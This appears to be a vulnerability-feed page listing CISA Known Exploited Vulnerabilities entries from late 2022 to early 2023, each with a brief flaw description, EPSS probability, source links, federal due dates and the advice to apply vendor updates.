2026-10-23T19:30:18.920Z. ### Mitel MiVoice Connect Code Injection Vulnerability https://kevwire.com/record/CVE-2022-41223 Mitel MiVoice Connect Code Injection Vulnerability (Feb 21, 2023). The Director component in Mitel MiVoice Connect allows an authenticated attacker with internal network access to execute code within the context of the application. EPSS 10.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41223&date=2026-10-25). Sources: CISA KEV entry CVE-2022-41223: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41223&date=2026-10-25 CISA added this entry on 2023-02-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 21, 2023; federal due date Mar 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mitel MiVoice Connect Command Injection Vulnerability https://kevwire.com/record/CVE-2022-40765 Mitel MiVoice Connect Command Injection Vulnerability (Feb 21, 2023). The Mitel Edge Gateway component of MiVoice Connect allows an authenticated attacker with internal network access to execute commands within the context of the system. EPSS 10.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-40765&date=2026-10-25). Sources: CISA KEV entry CVE-2022-40765: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-40765&date=2026-10-25 CISA added this entry on 2023-02-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 21, 2023; federal due date Mar 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cacti Command Injection Vulnerability https://kevwire.com/record/CVE-2022-46169 Cacti Command Injection Vulnerability (Feb 16, 2023). Cacti contains a command injection vulnerability that allows an unauthenticated user to execute code. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-46169&date=2026-10-25). Sources: CISA KEV entry CVE-2022-46169: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-46169&date=2026-10-25 CISA added this entry on 2023-02-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 16, 2023; federal due date Mar 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Publisher Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2023-21715 Microsoft Office Publisher Security Feature Bypass Vulnerability (Feb 14, 2023). Microsoft Office Publisher contains a security feature bypass vulnerability that allows for a local, authenticated attack on a targeted system. EPSS 12.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21715&date=2026-10-25). Sources: CISA KEV entry CVE-2023-21715: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21715&date=2026-10-25 CISA added this entry on 2023-02-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 14, 2023; federal due date Mar 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-23376 Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability (Feb 14, 2023). Microsoft Windows Common Log File System (CLFS) driver contains an unspecified vulnerability that allows for privilege escalation. EPSS 10.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-23376&date=2026-10-25). Sources: CISA KEV entry CVE-2023-23376: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-23376&date=2026-10-25 CISA added this entry on 2023-02-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 14, 2023; federal due date Mar 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products WebKit Type Confusion Vulnerability https://kevwire.com/record/CVE-2023-23529 Apple Multiple Products WebKit Type Confusion Vulnerability (Feb 14, 2023). Apple iOS, MacOS, Safari and iPadOS WebKit contain a type confusion vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 9.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-23529&date=2026-10-25). Sources: CISA KEV entry CVE-2023-23529: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-23529&date=2026-10-25 CISA added this entry on 2023-02-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 14, 2023; federal due date Mar 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Graphic Component Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-21823 Microsoft Windows Graphic Component Privilege Escalation Vulnerability (Feb 14, 2023). Microsoft Windows Graphic Component contains an unspecified vulnerability that allows for privilege escalation. EPSS 5.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21823&date=2026-10-25). Sources: CISA KEV entry CVE-2023-21823: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21823&date=2026-10-25 CISA added this entry on 2023-02-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 14, 2023; federal due date Mar 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Intel Ethernet Diagnostics Driver for Windows Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2015-2291 Intel Ethernet Diagnostics Driver for Windows Denial-of-Service Vulnerability (Feb 10, 2023). Intel ethernet diagnostics driver for Windows IQVW32.sys and IQVW64.sys contain an unspecified vulnerability that allows for a denial-of-service (DoS). EPSS 15.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2291&date=2026-10-25). Sources: CISA KEV entry CVE-2015-2291: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2291&date=2026-10-25 CISA added this entry on 2023-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 10, 2023; federal due date Mar 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TerraMaster OS Remote Command Execution Vulnerability https://kevwire.com/record/CVE-2022-24990 TerraMaster OS Remote Command Execution Vulnerability (Feb 10, 2023). TerraMaster OS contains a remote command execution vulnerability that allows an unauthenticated user to execute commands on the target endpoint. EPSS 83.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-24990&date=2026-10-25). Sources: CISA KEV entry CVE-2022-24990: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-24990&date=2026-10-25 CISA added this entry on 2023-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 10, 2023; federal due date Mar 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortra GoAnywhere MFT Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2023-0669 Fortra GoAnywhere MFT Remote Code Execution Vulnerability (Feb 10, 2023). Fortra (formerly, HelpSystems) GoAnywhere MFT contains a pre-authentication remote code execution vulnerability in the License Response Servlet due to deserializing an attacker-controlled object. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-0669&date=2026-10-25). Sources: CISA KEV entry CVE-2023-0669: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-0669&date=2026-10-25 CISA added this entry on 2023-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 10, 2023; federal due date Mar 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle E-Business Suite Unspecified Vulnerability https://kevwire.com/record/CVE-2022-21587 Oracle E-Business Suite Unspecified Vulnerability (Feb 2, 2023). Oracle E-Business Suite contains an unspecified vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise Oracle Web Applications Desktop Integrator. EPSS 98.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-21587&date=2026-10-25). Sources: CISA KEV entry CVE-2022-21587: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-21587&date=2026-10-25 CISA added this entry on 2023-02-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 2, 2023; federal due date Feb 23, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SugarCRM Multiple Products: Multiple SugarCRM Products Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2023-22952 SugarCRM Multiple Products: Multiple SugarCRM Products Remote Code Execution Vulnerability (Feb 2, 2023). Multiple SugarCRM products contain a remote code execution vulnerability in the EmailTemplates. Using a specially crafted request, custom PHP code can be injected through the EmailTemplates. EPSS 80.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-22952&date=2026-10-25). Sources: CISA KEV entry CVE-2023-22952: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-22952&date=2026-10-25 CISA added this entry on 2023-02-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 2, 2023; federal due date Feb 23, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Telerik UI for ASP.NET AJAX Insecure Direct Object Reference Vulnerability https://kevwire.com/record/CVE-2017-11357 Telerik UI for ASP.NET AJAX Insecure Direct Object Reference Vulnerability (Jan 26, 2023). Telerik UI for ASP.NET AJAX contains an insecure direct object reference vulnerability in RadAsyncUpload that can result in file uploads in a limited location and/or remote code execution. EPSS 77.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-11357&date=2026-10-25). Sources: CISA KEV entry CVE-2017-11357: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-11357&date=2026-10-25 CISA added this entry on 2023-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 26, 2023; federal due date Feb 16, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zoho ManageEngine Multiple Products Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-47966 Zoho ManageEngine Multiple Products Remote Code Execution Vulnerability (Jan 23, 2023). Multiple Zoho ManageEngine products contain an unauthenticated remote code execution vulnerability due to the usage of an outdated third-party dependency, Apache Santuario. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-47966&date=2026-10-25). Sources: CISA KEV entry CVE-2022-47966: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-47966&date=2026-10-25 CISA added this entry on 2023-01-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 23, 2023; federal due date Feb 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### CWP Control Web Panel OS Command Injection Vulnerability https://kevwire.com/record/CVE-2022-44877 CWP Control Web Panel OS Command Injection Vulnerability (Jan 17, 2023). CWP Control Web Panel (formerly CentOS Web Panel) contains an OS command injection vulnerability that allows remote attackers to execute commands via shell metacharacters in the login parameter. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-44877&date=2026-10-25). Sources: CISA KEV entry CVE-2022-44877: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-44877&date=2026-10-25 CISA added this entry on 2023-01-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 17, 2023; federal due date Feb 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Exchange Server Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-41080 Microsoft Exchange Server Privilege Escalation Vulnerability (Jan 10, 2023). Microsoft Exchange Server contains an unspecified vulnerability that allows for privilege escalation. This vulnerability is chainable with CVE-2022-41082, which allows for remote code execution. EPSS 77.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41080&date=2026-10-25). Sources: CISA KEV entry CVE-2022-41080: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41080&date=2026-10-25 CISA added this entry on 2023-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 10, 2023; federal due date Jan 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Advanced Local Procedure Call (ALPC) Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-21674 Microsoft Windows Advanced Local Procedure Call (ALPC) Privilege Escalation Vulnerability (Jan 10, 2023). Microsoft Windows Advanced Local Procedure Call (ALPC) contains an unspecified vulnerability that allows for privilege escalation. EPSS 34.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21674&date=2026-10-25). Sources: CISA KEV entry CVE-2023-21674: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21674&date=2026-10-25 CISA added this entry on 2023-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 10, 2023; federal due date Jan 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TIBCO JasperReports Server Information Disclosure Vulnerability https://kevwire.com/record/CVE-2018-5430 TIBCO JasperReports Server Information Disclosure Vulnerability (Dec 29, 2022). TIBCO JasperReports Server contain a vulnerability which may allow any authenticated user read-only access to the contents of the web application, including key configuration files. EPSS 48.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-5430&date=2026-10-25). Sources: CISA KEV entry CVE-2018-5430: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-5430&date=2026-10-25 CISA added this entry on 2022-12-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 29, 2022; federal due date Jan 19, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TIBCO JasperReports Library Directory Traversal Vulnerability https://kevwire.com/record/CVE-2018-18809 TIBCO JasperReports Library Directory Traversal Vulnerability (Dec 29, 2022). TIBCO JasperReports Library contains a directory-traversal vulnerability that may allow web server users to access contents of the host system. EPSS 79.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-18809&date=2026-10-25). Sources: CISA KEV entry CVE-2018-18809: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-18809&date=2026-10-25 CISA added this entry on 2022-12-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 29, 2022; federal due date Jan 19, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS Type Confusion Vulnerability https://kevwire.com/record/CVE-2022-42856 Apple iOS Type Confusion Vulnerability (Dec 14, 2022). Apple iOS contains a type confusion vulnerability when processing maliciously crafted web content leading to code execution. EPSS 8.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-42856&date=2026-10-25). Sources: CISA KEV entry CVE-2022-42856: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-42856&date=2026-10-25 CISA added this entry on 2022-12-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 14, 2022; federal due date Jan 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiOS Heap-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2022-42475 Fortinet FortiOS Heap-Based Buffer Overflow Vulnerability (Dec 13, 2022). Multiple versions of Fortinet FortiOS SSL-VPN contain a heap-based buffer overflow vulnerability which can allow an unauthenticated, remote attacker to execute arbitrary code or commands via specifically crafted requests. EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-42475&date=2026-10-25). Sources: CISA KEV entry CVE-2022-42475: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-42475&date=2026-10-25 CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 13, 2022; federal due date Jan 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Defender SmartScreen Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2022-44698 Microsoft Defender SmartScreen Security Feature Bypass Vulnerability (Dec 13, 2022). Microsoft Defender SmartScreen contains a security feature bypass vulnerability that could allow an attacker to evade Mark of the Web (MOTW) defenses via a specially crafted malicious file. EPSS 76.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-44698&date=2026-10-25). Sources: CISA KEV entry CVE-2022-44698: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-44698&date=2026-10-25 CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 13, 2022; federal due date Jan 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix Application Delivery Controller (ADC) and Gateway Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2022-27518 Citrix Application Delivery Controller (ADC) and Gateway Authentication Bypass Vulnerability (Dec 13, 2022). Citrix Application Delivery Controller (ADC) and Gateway, when configured with SAML SP or IdP configuration, contain an authentication bypass vulnerability that allows an attacker to execute code as administrator. EPSS 6.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-27518&date=2026-10-25). Sources: CISA KEV entry CVE-2022-27518: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-27518&date=2026-10-25 CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 13, 2022; federal due date Jan 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Veeam Backup & Replication Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-26500 Veeam Backup & Replication Remote Code Execution Vulnerability (Dec 13, 2022). The Veeam Distribution Service in the Backup & Replication application allows unauthenticated users to access internal API functions. A remote attacker can send input to the internal API which may lead to uploading and executing of malicious code. EPSS 5.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26500&date=2026-10-25). Sources: CISA KEV entry CVE-2022-26500: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26500&date=2026-10-25 CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 13, 2022; federal due date Jan 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Veeam Backup & Replication Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-26501 Veeam Backup & Replication Remote Code Execution Vulnerability (Dec 13, 2022). The Veeam Distribution Service in the Backup & Replication application allows unauthenticated users to access internal API functions. A remote attacker can send input to the internal API which may lead to uploading and executing of malicious code. EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26501&date=2026-10-25). Sources: CISA KEV entry CVE-2022-26501: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26501&date=2026-10-25 CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 13, 2022; federal due date Jan 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2022-4262 Google Chromium V8 Type Confusion Vulnerability (Dec 5, 2022). Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 23.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-4262&date=2026-10-25). Sources: CISA KEV entry CVE-2022-4262: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-4262&date=2026-10-25 CISA added this entry on 2022-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 5, 2022; federal due date Dec 26, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Fusion Middleware Unspecified Vulnerability https://kevwire.com/record/CVE-2021-35587 Oracle Fusion Middleware Unspecified Vulnerability (Nov 28, 2022). Oracle Fusion Middleware Access Manager allows an unauthenticated attacker with network access via HTTP to takeover the Access Manager product. EPSS 96.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-35587&date=2026-10-25). Sources: CISA KEV entry CVE-2021-35587: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-35587&date=2026-10-25 CISA added this entry on 2022-11-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 28, 2022; federal due date Dec 19, 2022. 